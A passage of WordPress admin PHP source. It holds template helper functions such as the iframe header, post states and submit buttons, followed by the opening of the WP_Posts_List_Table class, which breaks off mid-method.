		$css_id    = sprintf(
			'setting-error-%s',
			esc_attr( $details['code'] )
		);
		$css_class = sprintf(
			'notice %s settings-error is-dismissible',
			esc_attr( $details['type'] )
		);

		$output .= "<div id='$css_id' class='$css_class'> \n";
		$output .= "<p><strong>{$details['message']}</strong></p>";
		$output .= "</div> \n";
	}

	echo $output;
}

/**
 * Outputs the modal window used for attaching media to posts or pages in the media-listing screen.
 *
 * @since 2.7.0
 *
 * @param string $found_action Optional. The value of the 'found_action' input field. Default empty string.
 */
function find_posts_div( $found_action = '' ) {
	?>
	<div id="find-posts" class="find-box" style="display: none;">
		<div id="find-posts-head" class="find-box-head">
			<?php _e( 'Attach to existing content' ); ?>
			<button type="button" id="find-posts-close"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Close media attachment panel' );
				?>
			</span></button>
		</div>
		<div class="find-box-inside">
			<div class="find-box-search">
				<?php if ( $found_action ) { ?>
					<input type="hidden" name="found_action" value="<?php echo esc_attr( $found_action ); ?>" />
				<?php } ?>
				<input type="hidden" name="affected" id="affected" value="" />
				<?php wp_nonce_field( 'find-posts', '_ajax_nonce', false ); ?>
				<label class="screen-reader-text" for="find-posts-input">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search' );
					?>
				</label>
				<input type="text" id="find-posts-input" name="ps" value="" />
				<span class="spinner"></span>
				<input type="button" id="find-posts-search" value="<?php esc_attr_e( 'Search' ); ?>" class="button" />
				<div class="clear"></div>
			</div>
			<div id="find-posts-response"></div>
		</div>
		<div class="find-box-buttons">
			<?php submit_button( __( 'Select' ), 'primary alignright', 'find-posts-submit', false ); ?>
			<div class="clear"></div>
		</div>
	</div>
	<?php
}

/**
 * Displays the post password.
 *
 * The password is passed through esc_attr() to ensure that it is safe for placing in an HTML attribute.
 *
 * @since 2.7.0
 */
function the_post_password() {
	$post = get_post();
	if ( isset( $post->post_password ) ) {
		echo esc_attr( $post->post_password );
	}
}

/**
 * Gets the post title.
 *
 * The post title is fetched and if it is blank then a default string is
 * returned.
 *
 * @since 2.7.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string The post title if set.
 */
function _draft_or_post_title( $post = 0 ) {
	$title = get_the_title( $post );
	if ( empty( $title ) ) {
		$title = __( '(no title)' );
	}
	return esc_html( $title );
}

/**
 * Displays the search query.
 *
 * A simple wrapper to display the "s" parameter in a `GET` URI. This function
 * should only be used when the_search_query() cannot.
 *
 * @since 2.7.0
 */
function _admin_search_query() {
	echo isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
}

/**
 * Generic Iframe header for use with Thickbox.
 *
 * @since 2.7.0
 *
 * @global string    $hook_suffix
 * @global string    $admin_body_class
 * @global string    $body_id
 * @global WP_Locale $wp_locale        WordPress date and time locale object.
 *
 * @param string $title      Optional. Title of the Iframe page. Default empty.
 * @param bool   $deprecated Not used.
 */
function iframe_header( $title = '', $deprecated = false ) {
	global $hook_suffix, $admin_body_class, $body_id, $wp_locale;

	show_admin_bar( false );

	$admin_body_class = preg_replace( '/[^a-z0-9_-]+/i', '-', $hook_suffix );

	$current_screen = get_current_screen();

	header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
	_wp_admin_html_begin();
	?>
<title><?php bloginfo( 'name' ); ?> &rsaquo; <?php echo $title; ?> &#8212; <?php _e( 'WordPress' ); ?></title>
	<?php
	wp_enqueue_style( 'colors' );
	?>
<script type="text/javascript">
addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
function tb_close(){var win=window.dialogArguments||opener||parent||top;win.tb_remove();}
var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>',
	pagenow = '<?php echo esc_js( $current_screen->id ); ?>',
	typenow = '<?php echo esc_js( $current_screen->post_type ); ?>',
	adminpage = '<?php echo esc_js( $admin_body_class ); ?>',
	thousandsSeparator = '<?php echo esc_js( $wp_locale->number_format['thousands_sep'] ); ?>',
	decimalPoint = '<?php echo esc_js( $wp_locale->number_format['decimal_point'] ); ?>',
	isRtl = <?php echo (int) is_rtl(); ?>;
</script>
	<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', $hook_suffix );

	/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_print_styles-{$hook_suffix}" );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

	/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_print_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

	/** This action is documented in wp-admin/admin-header.php */
	do_action( "admin_head-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

	$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );

	if ( is_rtl() ) {
		$admin_body_class .= ' rtl';
	}

	?>
</head>
	<?php
	$admin_body_id = isset( $body_id ) ? 'id="' . $body_id . '" ' : '';

	/** This filter is documented in wp-admin/admin-header.php */
	$admin_body_classes = apply_filters( 'admin_body_class', '' );
	$admin_body_classes = ltrim( $admin_body_classes . ' ' . $admin_body_class );
	?>
<body <?php echo $admin_body_id; ?>class="wp-admin wp-core-ui no-js iframe <?php echo esc_attr( $admin_body_classes ); ?>">
<script type="text/javascript">
(function(){
var c = document.body.className;
c = c.replace(/no-js/, 'js');
document.body.className = c;
})();
</script>
	<?php
}

/**
 * Generic Iframe footer for use with Thickbox.
 *
 * @since 2.7.0
 */
function iframe_footer() {
	/*
	 * We're going to hide any footer output on iFrame pages,
	 * but run the hooks anyway since they output JavaScript
	 * or other needed content.
	 */

	/**
	 * @global string $hook_suffix
	 */
	global $hook_suffix;
	?>
	<div class="hidden">
	<?php
	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_footer', $hook_suffix );

	/** This action is documented in wp-admin/admin-footer.php */
	do_action( "admin_print_footer_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );
	?>
	</div>
<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
</body>
</html>
	<?php
}

/**
 * Echoes or returns the post states as HTML.
 *
 * @since 2.7.0
 * @since 5.3.0 Added the `$display` parameter and a return value.
 *
 * @see get_post_states()
 *
 * @param WP_Post $post    The post to retrieve states for.
 * @param bool    $display Optional. Whether to display the post states as an HTML string.
 *                         Default true.
 * @return string Post states string.
 */
function _post_states( $post, $display = true ) {
	$post_states        = get_post_states( $post );
	$post_states_string = '';

	if ( ! empty( $post_states ) ) {
		$state_count = count( $post_states );

		$i = 0;

		$post_states_string .= ' &mdash; ';

		foreach ( $post_states as $state ) {
			++$i;

			$separator = ( $i < $state_count ) ? ', ' : '';

			$post_states_string .= "<span class='post-state'>{$state}{$separator}</span>";
		}
	}

	if ( $display ) {
		echo $post_states_string;
	}

	return $post_states_string;
}

/**
 * Retrieves an array of post states from a post.
 *
 * @since 5.3.0
 *
 * @param WP_Post $post The post to retrieve states for.
 * @return string[] Array of post state labels keyed by their state.
 */
function get_post_states( $post ) {
	$post_states = array();

	if ( isset( $_REQUEST['post_status'] ) ) {
		$post_status = $_REQUEST['post_status'];
	} else {
		$post_status = '';
	}

	if ( ! empty( $post->post_password ) ) {
		$post_states['protected'] = _x( 'Password protected', 'post status' );
	}

	if ( 'private' === $post->post_status && 'private' !== $post_status ) {
		$post_states['private'] = _x( 'Private', 'post status' );
	}

	if ( 'draft' === $post->post_status ) {
		if ( get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
			$post_states[] = __( 'Customization Draft' );
		} elseif ( 'draft' !== $post_status ) {
			$post_states['draft'] = _x( 'Draft', 'post status' );
		}
	} elseif ( 'trash' === $post->post_status && get_post_meta( $post->ID, '_customize_changeset_uuid', true ) ) {
		$post_states[] = _x( 'Customization Draft', 'post status' );
	}

	if ( 'pending' === $post->post_status && 'pending' !== $post_status ) {
		$post_states['pending'] = _x( 'Pending', 'post status' );
	}

	if ( is_sticky( $post->ID ) ) {
		$post_states['sticky'] = _x( 'Sticky', 'post status' );
	}

	if ( 'future' === $post->post_status ) {
		$post_states['scheduled'] = _x( 'Scheduled', 'post status' );
	}

	if ( 'page' === get_option( 'show_on_front' ) ) {
		if ( (int) get_option( 'page_on_front' ) === $post->ID ) {
			$post_states['page_on_front'] = _x( 'Front Page', 'page label' );
		}

		if ( (int) get_option( 'page_for_posts' ) === $post->ID ) {
			$post_states['page_for_posts'] = _x( 'Posts Page', 'page label' );
		}
	}

	if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) {
		$post_states['page_for_privacy_policy'] = _x( 'Privacy Policy Page', 'page label' );
	}

	/**
	 * Filters the default post display states used in the posts list table.
	 *
	 * @since 2.8.0
	 * @since 3.6.0 Added the `$post` parameter.
	 * @since 5.5.0 Also applied in the Customizer context. If any admin functions
	 *              are used within the filter, their existence should be checked
	 *              with `function_exists()` before being used.
	 *
	 * @param string[] $post_states An array of post display states.
	 * @param WP_Post  $post        The current post object.
	 */
	return apply_filters( 'display_post_states', $post_states, $post );
}

/**
 * Outputs the attachment media states as HTML.
 *
 * @since 3.2.0
 * @since 5.6.0 Added the `$display` parameter and a return value.
 *
 * @param WP_Post $post    The attachment post to retrieve states for.
 * @param bool    $display Optional. Whether to display the post states as an HTML string.
 *                         Default true.
 * @return string Media states string.
 */
function _media_states( $post, $display = true ) {
	$media_states        = get_media_states( $post );
	$media_states_string = '';

	if ( ! empty( $media_states ) ) {
		$state_count = count( $media_states );

		$i = 0;

		$media_states_string .= ' &mdash; ';

		foreach ( $media_states as $state ) {
			++$i;

			$separator = ( $i < $state_count ) ? ', ' : '';

			$media_states_string .= "<span class='post-state'>{$state}{$separator}</span>";
		}
	}

	if ( $display ) {
		echo $media_states_string;
	}

	return $media_states_string;
}

/**
 * Retrieves an array of media states from an attachment.
 *
 * @since 5.6.0
 *
 * @param WP_Post $post The attachment to retrieve states for.
 * @return string[] Array of media state labels keyed by their state.
 */
function get_media_states( $post ) {
	static $header_images;

	$media_states = array();
	$stylesheet   = get_option( 'stylesheet' );

	if ( current_theme_supports( 'custom-header' ) ) {
		$meta_header = get_post_meta( $post->ID, '_wp_attachment_is_custom_header', true );

		if ( is_random_header_image() ) {
			if ( ! isset( $header_images ) ) {
				$header_images = wp_list_pluck( get_uploaded_header_images(), 'attachment_id' );
			}

			if ( $meta_header === $stylesheet && in_array( $post->ID, $header_images, true ) ) {
				$media_states[] = __( 'Header Image' );
			}
		} else {
			$header_image = get_header_image();

			// Display "Header Image" if the image was ever used as a header image.
			if ( ! empty( $meta_header ) && $meta_header === $stylesheet && wp_get_attachment_url( $post->ID ) !== $header_image ) {
				$media_states[] = __( 'Header Image' );
			}

			// Display "Current Header Image" if the image is currently the header image.
			if ( $header_image && wp_get_attachment_url( $post->ID ) === $header_image ) {
				$media_states[] = __( 'Current Header Image' );
			}
		}

		if ( get_theme_support( 'custom-header', 'video' ) && has_header_video() ) {
			$mods = get_theme_mods();
			if ( isset( $mods['header_video'] ) && $post->ID === $mods['header_video'] ) {
				$media_states[] = __( 'Current Header Video' );
			}
		}
	}

	if ( current_theme_supports( 'custom-background' ) ) {
		$meta_background = get_post_meta( $post->ID, '_wp_attachment_is_custom_background', true );

		if ( ! empty( $meta_background ) && $meta_background === $stylesheet ) {
			$media_states[] = __( 'Background Image' );

			$background_image = get_background_image();
			if ( $background_image && wp_get_attachment_url( $post->ID ) === $background_image ) {
				$media_states[] = __( 'Current Background Image' );
			}
		}
	}

	if ( (int) get_option( 'site_icon' ) === $post->ID ) {
		$media_states[] = __( 'Site Icon' );
	}

	if ( (int) get_theme_mod( 'custom_logo' ) === $post->ID ) {
		$media_states[] = __( 'Logo' );
	}

	/**
	 * Filters the default media display states for items in the Media list table.
	 *
	 * @since 3.2.0
	 * @since 4.8.0 Added the `$post` parameter.
	 *
	 * @param string[] $media_states An array of media states. Default 'Header Image',
	 *                               'Background Image', 'Site Icon', 'Logo'.
	 * @param WP_Post  $post         The current attachment object.
	 */
	return apply_filters( 'display_media_states', $media_states, $post );
}

/**
 * Tests support for compressing JavaScript from PHP.
 *
 * Outputs JavaScript that tests if compression from PHP works as expected
 * and sets an option with the result. Has no effect when the current user
 * is not an administrator. To run the test again the option 'can_compress_scripts'
 * has to be deleted.
 *
 * @since 2.8.0
 */
function compression_test() {
	?>
	<script type="text/javascript">
	var compressionNonce = <?php echo wp_json_encode( wp_create_nonce( 'update_can_compress_scripts' ) ); ?>;
	var testCompression = {
		get : function(test) {
			var x;
			if ( window.XMLHttpRequest ) {
				x = new XMLHttpRequest();
			} else {
				try{x=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{x=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){};}
			}

			if (x) {
				x.onreadystatechange = function() {
					var r, h;
					if ( x.readyState == 4 ) {
						r = x.responseText.substr(0, 18);
						h = x.getResponseHeader('Content-Encoding');
						testCompression.check(r, h, test);
					}
				};

				x.open('GET', ajaxurl + '?action=wp-compression-test&test='+test+'&_ajax_nonce='+compressionNonce+'&'+(new Date()).getTime(), true);
				x.send('');
			}
		},

		check : function(r, h, test) {
			if ( ! r && ! test )
				this.get(1);

			if ( 1 == test ) {
				if ( h && ( h.match(/deflate/i) || h.match(/gzip/i) ) )
					this.get('no');
				else
					this.get(2);

				return;
			}

			if ( 2 == test ) {
				if ( '"wpCompressionTest' === r )
					this.get('yes');
				else
					this.get('no');
			}
		}
	};
	testCompression.check();
	</script>
	<?php
}

/**
 * Echoes a submit button, with provided text and appropriate class(es).
 *
 * @since 3.1.0
 *
 * @see get_submit_button()
 *
 * @param string       $text             Optional. The text of the button. Defaults to 'Save Changes'.
 * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
 *                                       include 'primary', 'small', and 'large'. Default 'primary'.
 * @param string       $name             Optional. The HTML name of the submit button. If no `id` attribute
 *                                       is given in the `$other_attributes` parameter, `$name` will be used
 *                                       as the button's `id`. Default 'submit'.
 * @param bool         $wrap             Optional. True if the output button should be wrapped in a paragraph tag,
 *                                       false otherwise. Default true.
 * @param array|string $other_attributes Optional. Other attributes that should be output with the button,
 *                                       mapping attributes to their values, e.g. `array( 'id' => 'search-submit' )`.
 *                                       These key/value attribute pairs will be output as `attribute="value"`,
 *                                       where attribute is the key. Attributes can also be provided as a string,
 *                                       e.g. `id="search-submit"`, though the array format is generally preferred.
 *                                       Default empty string.
 */
function submit_button( $text = '', $type = 'primary', $name = 'submit', $wrap = true, $other_attributes = '' ) {
	echo get_submit_button( $text, $type, $name, $wrap, $other_attributes );
}

/**
 * Returns a submit button, with provided text and appropriate class.
 *
 * @since 3.1.0
 *
 * @param string       $text             Optional. The text of the button. Defaults to 'Save Changes'.
 * @param string       $type             Optional. The type and CSS class(es) of the button. Core values
 *                                       include 'primary', 'small', and 'large'. Default 'primary large'.
 * @param string       $name             Optional. The HTML name of the submit button. If no `id` attribute
 *                                       is given in the `$other_attributes` parameter, `$name` will be used
 *                                       as the button's `id`. Default 'submit'.
 * @param bool         $wrap             Optional. True if the output button should be wrapped in a paragraph tag,
 *                                       false otherwise. Default true.
 * @param array|string $other_attributes Optional. Other attributes that should be output with the button,
 *                                       mapping attributes to their values, e.g. `array( 'id' => 'search-submit' )`.
 *                                       These key/value attribute pairs will be output as `attribute="value"`,
 *                                       where attribute is the key. Attributes can also be provided as a string,
 *                                       e.g. `id="search-submit"`, though the array format is generally preferred.
 *                                       Default empty string.
 * @return string Submit button HTML.
 */
function get_submit_button( $text = '', $type = 'primary large', $name = 'submit', $wrap = true, $other_attributes = '' ) {
	if ( ! is_array( $type ) ) {
		$type = explode( ' ', $type );
	}

	$button_shorthand = array( 'primary', 'small', 'large' );
	$classes          = array( 'button' );

	foreach ( $type as $t ) {
		if ( 'secondary' === $t || 'button-secondary' === $t ) {
			continue;
		}

		$classes[] = in_array( $t, $button_shorthand, true ) ? 'button-' . $t : $t;
	}

	// Remove empty items, remove duplicate items, and finally build a string.
	$class = implode( ' ', array_unique( array_filter( $classes ) ) );

	$text = $text ? $text : __( 'Save Changes' );

	// Default the id attribute to $name unless an id was specifically provided in $other_attributes.
	$id = $name;
	if ( is_array( $other_attributes ) && isset( $other_attributes['id'] ) ) {
		$id = $other_attributes['id'];
		unset( $other_attributes['id'] );
	}

	$attributes = '';
	if ( is_array( $other_attributes ) ) {
		foreach ( $other_attributes as $attribute => $value ) {
			$attributes .= $attribute . '="' . esc_attr( $value ) . '" '; // Trailing space is important.
		}
	} elseif ( ! empty( $other_attributes ) ) { // Attributes provided as a string.
		$attributes = $other_attributes;
	}

	// Don't output empty name and id attributes.
	$name_attr = $name ? ' name="' . esc_attr( $name ) . '"' : '';
	$id_attr   = $id ? ' id="' . esc_attr( $id ) . '"' : '';

	$button  = '<input type="submit"' . $name_attr . $id_attr . ' class="' . esc_attr( $class );
	$button .= '" value="' . esc_attr( $text ) . '" ' . $attributes . ' />';

	if ( $wrap ) {
		$button = '<p class="submit">' . $button . '</p>';
	}

	return $button;
}

/**
 * Prints out the beginning of the admin HTML header.
 *
 * @global bool $is_IE
 */
function _wp_admin_html_begin() {
	global $is_IE;

	$admin_html_class = ( is_admin_bar_showing() ) ? 'wp-toolbar' : '';

	if ( $is_IE ) {
		header( 'X-UA-Compatible: IE=edge' );
	}

	?>
<!DOCTYPE html>
<html class="<?php echo $admin_html_class; ?>"
	<?php
	/**
	 * Fires inside the HTML tag in the admin header.
	 *
	 * @since 2.2.0
	 */
	do_action( 'admin_xml_ns' );

	language_attributes();
	?>
>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
	<?php
}

/**
 * Converts a screen string to a screen object.
 *
 * @since 3.0.0
 *
 * @param string $hook_name The hook name (also known as the hook suffix) used to determine the screen.
 * @return WP_Screen Screen object.
 */
function convert_to_screen( $hook_name ) {
	if ( ! class_exists( 'WP_Screen' ) ) {
		_doing_it_wrong(
			'convert_to_screen(), add_meta_box()',
			sprintf(
				/* translators: 1: wp-admin/includes/template.php, 2: add_meta_box(), 3: add_meta_boxes */
				__( 'Likely direct inclusion of %1$s in order to use %2$s. This is very wrong. Hook the %2$s call into the %3$s action instead.' ),
				'<code>wp-admin/includes/template.php</code>',
				'<code>add_meta_box()</code>',
				'<code>add_meta_boxes</code>'
			),
			'3.3.0'
		);
		return (object) array(
			'id'   => '_invalid',
			'base' => '_are_belong_to_us',
		);
	}

	return WP_Screen::get( $hook_name );
}

/**
 * Outputs the HTML for restoring the post data from DOM storage
 *
 * @since 3.6.0
 * @access private
 */
function _local_storage_notice() {
	$local_storage_message  = '<p class="local-restore">';
	$local_storage_message .= __( 'The backup of this post in your browser is different from the version below.' );
	$local_storage_message .= '<button type="button" class="button restore-backup">' . __( 'Restore the backup' ) . '</button></p>';
	$local_storage_message .= '<p class="help">';
	$local_storage_message .= __( 'This will replace the current editor content with the last backup version. You can use undo and redo in the editor to get the old content back or to return to the restored version.' );
	$local_storage_message .= '</p>';

	wp_admin_notice(
		$local_storage_message,
		array(
			'id'                 => 'local-storage-notice',
			'additional_classes' => array( 'hidden' ),
			'dismissible'        => true,
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * Outputs a HTML element with a star rating for a given rating.
 *
 * Outputs a HTML element with the star rating exposed on a 0..5 scale in
 * half star increments (ie. 1, 1.5, 2 stars). Optionally, if specified, the
 * number of ratings may also be displayed by passing the $number parameter.
 *
 * @since 3.8.0
 * @since 4.4.0 Introduced the `echo` parameter.
 *
 * @param array $args {
 *     Optional. Array of star ratings arguments.
 *
 *     @type int|float $rating The rating to display, expressed in either a 0.5 rating increment,
 *                             or percentage. Default 0.
 *     @type string    $type   Format that the $rating is in. Valid values are 'rating' (default),
 *                             or, 'percent'. Default 'rating'.
 *     @type int       $number The number of ratings that makes up this rating. Default 0.
 *     @type bool      $echo   Whether to echo the generated markup. False to return the markup instead
 *                             of echoing it. Default true.
 * }
 * @return string Star rating HTML.
 */
function wp_star_rating( $args = array() ) {
	$defaults    = array(
		'rating' => 0,
		'type'   => 'rating',
		'number' => 0,
		'echo'   => true,
	);
	$parsed_args = wp_parse_args( $args, $defaults );

	// Non-English decimal places when the $rating is coming from a string.
	$rating = (float) str_replace( ',', '.', $parsed_args['rating'] );

	// Convert percentage to star rating, 0..5 in .5 increments.
	if ( 'percent' === $parsed_args['type'] ) {
		$rating = round( $rating / 10, 0 ) / 2;
	}

	// Calculate the number of each type of star needed.
	$full_stars  = floor( $rating );
	$half_stars  = ceil( $rating - $full_stars );
	$empty_stars = 5 - $full_stars - $half_stars;

	if ( $parsed_args['number'] ) {
		/* translators: Hidden accessibility text. 1: The rating, 2: The number of ratings. */
		$format = _n( '%1$s rating based on %2$s rating', '%1$s rating based on %2$s ratings', $parsed_args['number'] );
		$title  = sprintf( $format, number_format_i18n( $rating, 1 ), number_format_i18n( $parsed_args['number'] ) );
	} else {
		/* translators: Hidden accessibility text. %s: The rating. */
		$title = sprintf( __( '%s rating' ), number_format_i18n( $rating, 1 ) );
	}

	$output  = '<div class="star-rating">';
	$output .= '<span class="screen-reader-text">' . $title . '</span>';
	$output .= str_repeat( '<div class="star star-full" aria-hidden="true"></div>', $full_stars );
	$output .= str_repeat( '<div class="star star-half" aria-hidden="true"></div>', $half_stars );
	$output .= str_repeat( '<div class="star star-empty" aria-hidden="true"></div>', $empty_stars );
	$output .= '</div>';

	if ( $parsed_args['echo'] ) {
		echo $output;
	}

	return $output;
}

/**
 * Outputs a notice when editing the page for posts (internal use only).
 *
 * @ignore
 * @since 4.2.0
 */
function _wp_posts_page_notice() {
	wp_admin_notice(
		__( 'You are currently editing the page that shows your latest posts.' ),
		array(
			'type'               => 'warning',
			'additional_classes' => array( 'inline' ),
		)
	);
}

/**
 * Outputs a notice when editing the page for posts in the block editor (internal use only).
 *
 * @ignore
 * @since 5.8.0
 */
function _wp_block_editor_posts_page_notice() {
	wp_add_inline_script(
		'wp-notices',
		sprintf(
			'wp.data.dispatch( "core/notices" ).createWarningNotice( "%s", { isDismissible: false } )',
			__( 'You are currently editing the page that shows your latest posts.' )
		),
		'after'
	);
}
<?php
/**
 * List Table API: WP_Posts_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying posts in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Posts_List_Table extends WP_List_Table {

	/**
	 * Whether the items should be displayed hierarchically or linearly.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	protected $hierarchical_display;

	/**
	 * Holds the number of pending comments for each post.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $comment_pending_count;

	/**
	 * Holds the number of posts for this user.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $user_posts_count;

	/**
	 * Holds the number of posts which are sticky.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $sticky_posts_count = 0;

	private $is_trash;

	/**
	 * Current level for output.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	protected $current_level = 0;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global WP_Post_Type $post_type_object
	 * @global wpdb         $wpdb             WordPress database abstraction object.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_type_object, $wpdb;

		parent::__construct(
			array(
				'plural' => 'posts',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$post_type        = $this->screen->post_type;
		$post_type_object = get_post_type_object( $post_type );

		$exclude_states = get_post_stati(
			array(
				'show_in_admin_all_list' => false,
			)
		);

		$this->user_posts_count = (int) $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT( 1 )
				FROM $wpdb->posts
				WHERE post_type = %s
				AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
				AND post_author = %d",
				$post_type,
				get_current_user_id()
			)
		);

		if ( $this->user_posts_count
			&& ! current_user_can( $post_type_object->cap->edit_others_posts )
			&& empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] )
			&& empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] )
		) {
			$_GET['author'] = get_current_user_id();
		}

		$sticky_posts = get_option( 'sticky_posts' );

		if ( 'post' === $post_type && $sticky_posts ) {
			$sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );

			$this->sticky_posts_count = (int) $wpdb->get_var(
				$wpdb->prepare(
					"SELECT COUNT( 1 )
					FROM $wpdb->posts
					WHERE post_type = %s
					AND post_status NOT IN ('trash', 'auto-draft')
					AND ID IN ($sticky_posts)",
					$post_type
				)
			);
		}
	}

	/**
	 * Sets whether the table layout should be hierarchical or not.
	 *
	 * @since 4.2.0
	 *
	 * @param bool $display Whether the table layout should be hierarchical.
	 */
	public function set_hierarchical_display( $display ) {
		$this->hierarchical_display = $display;
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
	}

	/**
	 * @global string   $mode             List table view mode.
	 * @global array    $avail_post_stati
	 * @global WP_Query $wp_query         WordPress Query object.
	 * @global int      $per_page
	 */
	public function prepare_items() {
		global $mode, $avail_post_stati, $wp_query, $per_page;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'posts_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

		// Is going to call wp().
		$avail_post_stati = wp_edit_posts_query();

		$this->set_hierarchical_display(
			is_post_type_hierarchical( $this->screen->post_type )
			&& 'menu_order title' === $wp_query->query['orderby']
		);

		$post_type = $this->screen->post_type;
		$per_page  = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );

		/** This filter is documented in wp-admin/includes/post.php */
		$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );

		if ( $this->hierarchical_display ) {
			$total_items = $wp_query->post_count;
		} elseif ( $wp_query->found_posts || $this->get_pagenum() === 1 ) {
			$total_items = $wp_query->found_posts;
		} else {
			$post_counts = (array) wp_count_posts( $post_type, 'readable' );

			if ( isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'], $avail_post_stati, true ) ) {
				$total_items = $post_counts[ $_REQUEST['post_status'] ];
			} elseif ( isset( $_REQUEST['show_sticky'] ) && $_REQUEST['show_sticky'] ) {
				$total_items = $this->sticky_posts_count;
			} elseif ( isset( $_GET['author'] ) && get_current_user_id() === (int) $_GET['author'] ) {
				$total_items = $this->user_posts_count;
			} else {
				$total_items = array_sum( $post_counts );

				// Subtract post types that are not included in the admin all list.
				foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
					$total_items -= $post_counts[ $state ];
				}
			}
		}

		$this->is_trash = isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'];

		$this->set_pagination_args(
			array(
				'total_items' => $total_items,
				'per_page'    => $per_page,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function has_items() {
		return have_posts();
	}

	/**
	 */
	public function no_items() {
		if ( isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'] ) {
			echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
		} else {
			echo get_post_type_object( $this->screen->post_type )->labels->not_found;
		}
	}

	/**
	 * Determines if the current view is the "All" view.
	 *
	 * @since 4.2.0
	 *
	 * @return bool Whether the current view is the "All" view.
	 */
	protected function is_base_request() {
		$vars = $_GET;
		unset( $vars['paged'] );

		if ( empty( $vars ) ) {
			return true;
		} elseif ( 1 === count( $vars ) && ! empty( $vars['post_type'] ) ) {
			return $this->screen->post_type === $vars['post_type'];
		}

		return 1 === count( $vars ) && ! empty( $vars['mode'] );
	}

	/**
	 * Creates a link to edit.php with params.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $args      Associative array of URL parameters for the link.
	 * @param string   $link_text Link text.
	 * @param string   $css_class Optional. Class attribute. Default empty string.
	 * @return string The formatted link string.
	 */
	protected function get_edit_link( $args, $link_text, $css_class = '' ) {
		$url = add_query_arg( $args, 'edit.php' );

		$class_html   = '';
		$aria_current = '';

		if ( ! empty( $css_class ) ) {
			$class_html = sprintf(
				' class="%s"',
				esc_attr( $css_class )
			);

			if ( 'current' === $css_class ) {
				$aria_current = ' aria-current="page"';
			}
		}

		return sprintf(
			'<a href="%s"%s%s>%s</a>',
			esc_url( $url ),
			$class_html,
			$aria_current,
			$link_text
		);
	}

	/**
	 * @global array $locked_post_status This seems to be deprecated.
	 * @global array $avail_post_stati
	 * @return array
	 */
	protected function get_views() {
		global $locked_post_status, $avail_post_stati;

		$post_type = $this->screen->post_type;

		if ( ! empty( $locked_post_status ) ) {
			return array();
		}

		$status_links = array();
		$num_posts    = wp_count_posts( $post_type, 'readable' );
		$total_posts  = array_sum( (array) $num_posts );
		$class        = '';

		$current_user_id = get_current_user_id();
		$all_args        = array( 'post_type' => $post_type );
		$mine            = '';

